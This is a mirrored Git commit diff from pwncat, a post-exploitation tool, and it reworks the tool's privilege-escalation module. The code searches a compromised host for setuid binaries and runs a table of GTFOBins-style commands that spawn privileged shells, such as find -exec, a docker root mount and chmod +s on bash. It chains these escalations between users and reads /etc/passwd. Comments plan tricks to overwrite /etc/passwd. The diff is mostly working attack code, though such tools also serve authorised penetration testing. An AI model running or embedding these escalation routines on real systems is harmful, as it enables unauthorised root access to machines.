mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Semi-working privesc framework
This commit is contained in:
parent
e5867df0a0
commit
2d8c101712
@ -23,7 +23,7 @@ class Finder:
|
||||
for m in [SetuidMethod, SuMethod]:
|
||||
try:
|
||||
m.check(self.pty)
|
||||
self.methods.append(m())
|
||||
self.methods.append(m(self.pty))
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
@ -40,7 +40,7 @@ class Finder:
|
||||
current_user = self.pty.current_user
|
||||
if (
|
||||
target_user == current_user["name"]
|
||||
or current_user["id"] == 0
|
||||
or current_user["uid"] == 0
|
||||
or current_user["name"] == "root"
|
||||
):
|
||||
raise PrivescError(f"you are already {current_user['name']}")
|
||||
@ -48,7 +48,7 @@ class Finder:
|
||||
if starting_user is None:
|
||||
starting_user = current_user
|
||||
|
||||
if len(chain) > depth:
|
||||
if depth is not None and len(chain) > depth:
|
||||
raise PrivescError("max depth reached")
|
||||
|
||||
# Enumerate escalation options for this user
|
||||
@ -60,8 +60,8 @@ class Finder:
|
||||
for tech in techniques:
|
||||
if tech.user == target_user:
|
||||
try:
|
||||
tech.method.execute(tech)
|
||||
chain.append(tech)
|
||||
exit_command = tech.method.execute(tech)
|
||||
chain.append((tech, exit_command))
|
||||
return chain
|
||||
except PrivescError:
|
||||
pass
|
||||
@ -72,14 +72,15 @@ class Finder:
|
||||
if tech.user == target_user:
|
||||
continue
|
||||
try:
|
||||
tech.method.execute(tech)
|
||||
chain.append(tech)
|
||||
exit_command = tech.method.execute(tech)
|
||||
chain.append((tech, exit_command))
|
||||
except PrivescError:
|
||||
continue
|
||||
try:
|
||||
return self.escalate(target_user, depth, chain, starting_user)
|
||||
except PrivescError:
|
||||
self.pty.run("exit", wait=False)
|
||||
tech, exit_command = chain[-1]
|
||||
self.pty.run(exit_command, wait=False)
|
||||
chain.pop()
|
||||
|
||||
raise PrivescError(f"no route to {target_user} found")
|
||||
|
@ -11,49 +11,56 @@ from pwncat.privesc.base import Method, PrivescError, Technique
|
||||
|
||||
# https://gtfobins.github.io/#+suid
|
||||
known_setuid_privescs = {
|
||||
"env": ["{} /bin/bash -p"],
|
||||
"bash": ["{} -p"],
|
||||
"chmod": ["{} +s /bin/bash", "/bin/bash -p"],
|
||||
"chroot": ["{} / /bin/bash -p"],
|
||||
"dash": ["{} -p"],
|
||||
"ash": ["{}"],
|
||||
"docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"],
|
||||
"emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""],
|
||||
"find": ["{} . -exec /bin/sh -p \\; -quit"],
|
||||
"flock": ["{} -u / /bin/sh -p"],
|
||||
"gdb": [
|
||||
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit"""
|
||||
],
|
||||
"logsave": ["{} /dev/null /bin/bash -i -p"],
|
||||
"make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",],
|
||||
"nice": ["{} /bin/bash -p"],
|
||||
"node": [
|
||||
"""{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'"""
|
||||
],
|
||||
"nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""],
|
||||
"perl": ["""{} -e 'exec "/bin/sh";'"""],
|
||||
"php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""],
|
||||
"python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""],
|
||||
"rlwrap": ["{} -H /dev/null /bin/sh -p"],
|
||||
"rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""],
|
||||
"rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""],
|
||||
"rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""],
|
||||
"run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""],
|
||||
"rvim": [
|
||||
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'"""
|
||||
],
|
||||
"setarch": ["""{} $(arch) /bin/sh -p"""],
|
||||
"start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""],
|
||||
"strace": ["""{} -o /dev/null /bin/sh -p"""],
|
||||
"tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""],
|
||||
"tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",],
|
||||
"taskset": ["""{} 1 /bin/sh -p"""],
|
||||
"time": ["""{} /bin/sh -p"""],
|
||||
"timeout": ["""{} 7d /bin/sh -p"""],
|
||||
"unshare": ["""{} -r /bin/sh"""],
|
||||
"vim": ["""{} -c ':!/bin/sh' -c ':q'"""],
|
||||
"watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""],
|
||||
"zsh": ["""{}"""],
|
||||
"env": ("{} /bin/bash -p", "exit"),
|
||||
"bash": ("{} -p", "exit"),
|
||||
"chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"),
|
||||
"chroot": ("{} / /bin/bash -p", "exit"),
|
||||
"dash": ("{} -p", "exit"),
|
||||
"ash": ("{}", "exit"),
|
||||
"docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"),
|
||||
"emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"),
|
||||
"find": ("{} . -exec /bin/sh -p \\; -quit", "exit"),
|
||||
"flock": ("{} -u / /bin/sh -p", "exit"),
|
||||
"gdb": (
|
||||
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""",
|
||||
"exit",
|
||||
),
|
||||
"logsave": ("{} /dev/null /bin/bash -i -p", "exit"),
|
||||
"make": (
|
||||
"COMMAND='/bin/sh -p'",
|
||||
"""{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",
|
||||
"exit",
|
||||
),
|
||||
"nice": ("{} /bin/bash -p", "exit"),
|
||||
"node": (
|
||||
"""{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""",
|
||||
"exit",
|
||||
),
|
||||
"nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"),
|
||||
"perl": ("""{} -e 'exec "/bin/sh";'""", "exit"),
|
||||
"php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"),
|
||||
"python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"),
|
||||
"rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"),
|
||||
"rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"),
|
||||
"rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"),
|
||||
"rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"),
|
||||
"run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"),
|
||||
"rvim": (
|
||||
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""",
|
||||
"exit",
|
||||
),
|
||||
"setarch": ("""{} $(arch) /bin/sh -p""", "exit"),
|
||||
"start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"),
|
||||
"strace": ("""{} -o /dev/null /bin/sh -p""", "exit"),
|
||||
"tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
|
||||
"tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
|
||||
"taskset": ("""{} 1 /bin/sh -p""", "exit"),
|
||||
"time": ("""{} /bin/sh -p""", "exit"),
|
||||
"timeout": ("""{} 7d /bin/sh -p""", "exit"),
|
||||
"unshare": ("""{} -r /bin/sh""", "exit"),
|
||||
"vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"),
|
||||
"watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"),
|
||||
"zsh": ("""{}""", "exit"),
|
||||
# need to add in cp trick to overwrite /etc/passwd
|
||||
# need to add in curl trick to overwrite /etc/passwd
|
||||
# need to add in wget trick to overwrite /etc/passwd
|
||||
@ -73,62 +80,82 @@ known_setuid_privescs = {
|
||||
class SetuidMethod(Method):
|
||||
|
||||
name = "setuid"
|
||||
BINARIES = ["find"]
|
||||
BINARIES = ["find", "stat"]
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
super(SetuidMethod, self).__init__(pty)
|
||||
|
||||
self.suid_paths = None
|
||||
|
||||
def find_suid(self):
|
||||
|
||||
# Spawn a find command to locate the setuid binaries
|
||||
delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
|
||||
files = []
|
||||
self.suid_paths = {}
|
||||
|
||||
while True:
|
||||
path = self.pty.recvuntil(b"\n").strip()
|
||||
progress("searching for setuid binaries")
|
||||
|
||||
if delim in path:
|
||||
break
|
||||
|
||||
files.append(path.decode("utf-8"))
|
||||
|
||||
for path in files:
|
||||
user = (
|
||||
self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
if user not in self.suid_paths:
|
||||
self.suid_paths[user] = []
|
||||
self.suid_paths[user].append(path)
|
||||
|
||||
def enumerate(self) -> List[Technique]:
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
def execute(self):
|
||||
""" Look for setuid binaries and attempt to run"""
|
||||
if self.suid_paths is None:
|
||||
self.find_suid()
|
||||
|
||||
find = self.pty.which("find")
|
||||
for user, paths in self.suid_paths.items():
|
||||
for path in paths:
|
||||
for name, cmd in known_setuid_privescs.items():
|
||||
if os.path.basename(path) == name:
|
||||
yield Technique(user, self, (path, name, cmd))
|
||||
|
||||
setuid_output = []
|
||||
delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null")
|
||||
def execute(self, technique: Technique):
|
||||
""" Run the specified technique """
|
||||
|
||||
while True:
|
||||
line = self.pty.recvuntil(b"\n").strip()
|
||||
progress("searching for setuid binaries")
|
||||
|
||||
if delim in line:
|
||||
break
|
||||
setuid_output.append(line)
|
||||
|
||||
for suid in setuid_output:
|
||||
suid = suid.decode("utf-8")
|
||||
for privesc, commands in known_setuid_privescs.items():
|
||||
if os.path.basename(suid) != privesc:
|
||||
continue
|
||||
path, name, commands = technique.ident
|
||||
|
||||
info(
|
||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}",
|
||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}",
|
||||
)
|
||||
|
||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
before_shell_level = (
|
||||
int(before_shell_level) if before_shell_level != b"" else 0
|
||||
)
|
||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||
|
||||
for each_command in commands:
|
||||
self.pty.run(each_command.format(suid), wait=False)
|
||||
# for each_command in commands:
|
||||
# self.pty.run(each_command.format(path), wait=False)
|
||||
|
||||
sleep(0.1)
|
||||
user = self.pty.run("whoami").strip()
|
||||
if user == b"root":
|
||||
# Run the start commands
|
||||
self.pty.run(commands[0].format(path) + "\n")
|
||||
|
||||
# sleep(0.1)
|
||||
user = self.pty.run("whoami").strip().decode("utf-8")
|
||||
if user == technique.user:
|
||||
success("privesc succeeded")
|
||||
return True
|
||||
return commands[1]
|
||||
else:
|
||||
error("privesc failed")
|
||||
error(f"privesc failed (still {user} looking for {technique.user})")
|
||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
after_shell_level = (
|
||||
int(after_shell_level) if after_shell_level != b"" else 0
|
||||
)
|
||||
if after_shell_level > before_shell_level:
|
||||
info("exiting spawned inner shell")
|
||||
self.pty.run("exit", wait=False) # here be dragons
|
||||
self.pty.run(commands[1], wait=False) # here be dragons
|
||||
|
||||
continue
|
||||
|
||||
error("no known setuid privescs found")
|
||||
|
||||
return False
|
||||
raise PrivescError(f"escalation failed for {technique}")
|
||||
|
@ -210,7 +210,7 @@ class PtyHandler:
|
||||
# We should always get a response within 3 seconds...
|
||||
self.client.settimeout(1)
|
||||
|
||||
util.info("probing for prompt...", overlay=False)
|
||||
util.info("probing for prompt...", overlay=True)
|
||||
start = time.time()
|
||||
prompt = b""
|
||||
try:
|
||||
@ -222,13 +222,13 @@ class PtyHandler:
|
||||
# We assume if we got data before sending data, there is a prompt
|
||||
if prompt != b"":
|
||||
self.has_prompt = True
|
||||
util.info(f"found a prompt", overlay=False)
|
||||
util.info(f"found a prompt", overlay=True)
|
||||
else:
|
||||
self.has_prompt = False
|
||||
util.info("no prompt observed", overlay=False)
|
||||
util.info("no prompt observed", overlay=True)
|
||||
|
||||
# Send commands without a new line, and see if the characters are echoed
|
||||
util.info("checking for echoing", overlay=False)
|
||||
util.info("checking for echoing", overlay=True)
|
||||
test_cmd = b"echo"
|
||||
self.client.send(test_cmd)
|
||||
response = b""
|
||||
@ -241,10 +241,10 @@ class PtyHandler:
|
||||
|
||||
if response == test_cmd:
|
||||
self.has_echo = True
|
||||
util.info("found input echo", overlay=False)
|
||||
util.info("found input echo", overlay=True)
|
||||
else:
|
||||
self.has_echo = False
|
||||
util.info(f"no echo observed", overlay=False)
|
||||
util.info(f"no echo observed", overlay=True)
|
||||
|
||||
self.client.send(b"\n")
|
||||
response = self.client.recv(1)
|
||||
@ -324,6 +324,8 @@ class PtyHandler:
|
||||
util.info("synchronizing terminal state", overlay=True)
|
||||
self.do_sync([])
|
||||
|
||||
self.privesc = privesc.Finder(self)
|
||||
|
||||
# Force the local TTY to enter raw mode
|
||||
self.enter_raw()
|
||||
|
||||
@ -495,11 +497,18 @@ class PtyHandler:
|
||||
|
||||
parser = argparse.ArgumentParser(prog="privesc")
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=privesc.get_names(),
|
||||
"--user",
|
||||
"-u",
|
||||
choices=[user for user in self.users],
|
||||
default="root",
|
||||
help="the target user",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--depth",
|
||||
"-d",
|
||||
type=int,
|
||||
default=None,
|
||||
help="set the privesc method (default: auto)",
|
||||
help="Maximum depth for the privesc search (default: no maximum)",
|
||||
)
|
||||
|
||||
try:
|
||||
@ -509,17 +518,9 @@ class PtyHandler:
|
||||
return
|
||||
|
||||
try:
|
||||
# Locate an appropriate privesc class
|
||||
PrivescClass = privesc.find(self, args.method)
|
||||
self.privesc.escalate(args.user, args.depth)
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"{exc}")
|
||||
return
|
||||
|
||||
privesc_object = PrivescClass(self)
|
||||
succeeded = privesc_object.execute()
|
||||
|
||||
if succeeded:
|
||||
self.do_back([])
|
||||
util.error(f"escalation failed: {exc}")
|
||||
|
||||
@with_parser
|
||||
def do_download(self, args):
|
||||
@ -864,9 +865,12 @@ class PtyHandler:
|
||||
|
||||
self.known_users = {}
|
||||
|
||||
passwd = self.run("cat /etc/passwd")
|
||||
passwd = self.run("cat /etc/passwd").decode("utf-8")
|
||||
for line in passwd.split("\n"):
|
||||
line = line.split(":")
|
||||
line = line.strip()
|
||||
if line == "":
|
||||
continue
|
||||
line = line.strip().split(":")
|
||||
user_data = {
|
||||
"name": line[0],
|
||||
"password": None,
|
||||
|
Loading…
Reference in New Issue
Block a user